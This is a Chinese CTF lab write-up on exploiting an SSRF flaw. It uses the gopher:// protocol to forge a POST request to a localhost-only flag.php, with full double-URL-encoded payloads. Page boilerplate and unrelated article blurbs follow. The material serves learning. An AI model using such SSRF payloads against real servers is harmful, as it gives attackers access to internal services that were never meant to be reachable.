首页 > 其他分享 >SSRF服务端请求伪造漏洞——POST请求

SSRF服务端请求伪造漏洞——POST请求

时间:2024-10-31 23:45:41浏览次数:3  
标签:127.0 请求 SSRF 0.1 250D% flag POST 0D%

初见页面:

点击链接后,页面显示如下:

一片空白,还是直接访问一下http://127.0.0.1/flag.php,发现界面突然多了个搜索框

右键查看页面源代码:

发现多了个key值,复制粘贴到搜索框并回车一下

得到提示:只允许从127.0.0.1访问

尝试使用Gopher协议向服务器发送POST包,但是现在没有提交按钮,所以需要自己构造POST请求,用python脚本来构造Gopher协议的payload:

构造payload:

/?url=gopher%3A//127.0.0.1%3A80/_POSTxxxxxxxx

这样就得到flag了,当然还有另一种手工修改的,不过比较麻烦,拿之前手工做过的例子讲解一下

还是差不多的模版,经过URL编码后,复制结果到word文档中,用替换功能将文本里的%0a%全部替换成%0D%0A

POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=526cfc11b4df24a4042fedaba0cc812b

再进行二次URL编码:

构造payload:

/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=526cfc11b4df24a4042fedaba0cc812b

一样可以得到flag

标签:127.0,请求,SSRF,0.1,250D%,flag,POST,0D%
From: https://blog.csdn.net/weixin_73049307/article/details/143420461

相关文章

  • fetch 与 xmlHttpRequest 请求总结
    文章目录fetch、XMLHttpRequest、ajax简要介绍fetch与xmlHttpRequest比较fetch、XMLHttpRequest、ajax简要介绍FetchAPI概述Fetch是一种现代的JavaScriptAPI,用于在浏览器中进行网络请求。它提供了一种更灵活、更强大的方式来获取资源,相比传统的XMLHttpRe......
  • springmvc请求源码流程解析(二)
        Spring官网的MVC模块介绍:SpringWebMVC是基于ServletAPI构建的原始Web框架,从一开始就已包含在Spring框架中。正式名称“SpringWebMVC”来自其源模块的名称(spring-webmvc),但它通常被称为SpringMVC。    从Servlet到SpringMVC:    最典型的MVC就是J......
  • MFC的SendMessage与PostMessage的区别
    一、SendMessage同步操作:SendMessage是一个同步函数,它会将消息发送到指定的窗口,并等待该窗口的消息处理过程完成,然后返回。这意味着它会阻塞当前线程,直到消息处理完成。直接调用:SendMessage会将消息直接传递给目标窗口的消息处理函数,因此消息处理函数在当前线程中执行......
  • PostgreSQL中checkpoint的作用和工作原理
    ###checkpoint的作用将脏页写入磁盘,避免数据库实例重启之后需要从WAL中恢复大量的数据而增加数据库恢复时间 ###checkpoints的触发时机1,手动CHECKPOINT命令;2,pg_basebackup,CREATEDATABASE,或pg_ctlstop|restart;3,定期执行的checkpoint,也即每隔checkpoint_timeout定时执行的4,自......
  • Django设置跨域请求解决方案
    Django设置跨域请求解决方案在现代Web开发中,跨域资源共享(CORS,Cross-OriginResourceSharing)是一个常见的需求。尤其是在前后端分离的开发模式下,Django作为后端框架,常常需要处理来自不同源的请求。本文将详细介绍如何在Django中设置跨域请求的解决方案,帮助开发者有效管理跨域请求......
  • Django-Ajax请求
    1.Django-Ajax请求1.2介绍客户端(浏览器)向服务端发起请求的形式:1.地址栏:GET2.超链接标签:GET3.form表单:GET或POST4.Ajax(重要):GET或POST或PUT或DELETEAjax(AsynchronousJavascriptAndXML)翻译成中文就是“异步Javascript和XML”。即使用Javascript语言与服务器进行异步交......
  • 请求参数处理
    获取cookie:@CookieValue@GetMapping("/getCookie")publicStringgetCookie(@CookieValue(value="JSESSIONID")StringjSessionId){returnjSessionId;}获取header:@RequestHeader@GetMapping("/getHeader")publicStringgetHe......
  • fast-poster 海报生成器,一分钟完成海报开发.
    一.项目介绍        FastPoster是一个专为快速开发海报而设计的工具,它允许开发者只需上传背景图并在指定位置放置文本、图片、二维码或头像等组件就能生成海报。该项目提供了一键生成各种语言SDK调用代码的功能,简化了海报制作流程。经过多年的生产环境测试,FastPo......
  • python调用grpc请求
    gRPC是一款高性能、开源的RPC框架,支持多种编程语言。Protobuf是gRPC使用的默认序化协议,可以将结构化数据序列化为二进制格式,提高数据传输效率。在Python中使用gRPC调用服务时,通常需要先定义协议缓冲区(ProtocolBuffers)消息类型,这些类型是从.proto文件生成的。当你准备调用一个gRP......
  • 请求映射
    @Controller默认返回页面地址@ControllerpublicclassTest{ @RequestMapping("/index.page")publicStringindex(){//会返回src/main/resources/templates/index.html文件return"index";}}@RestController@Controller和@R......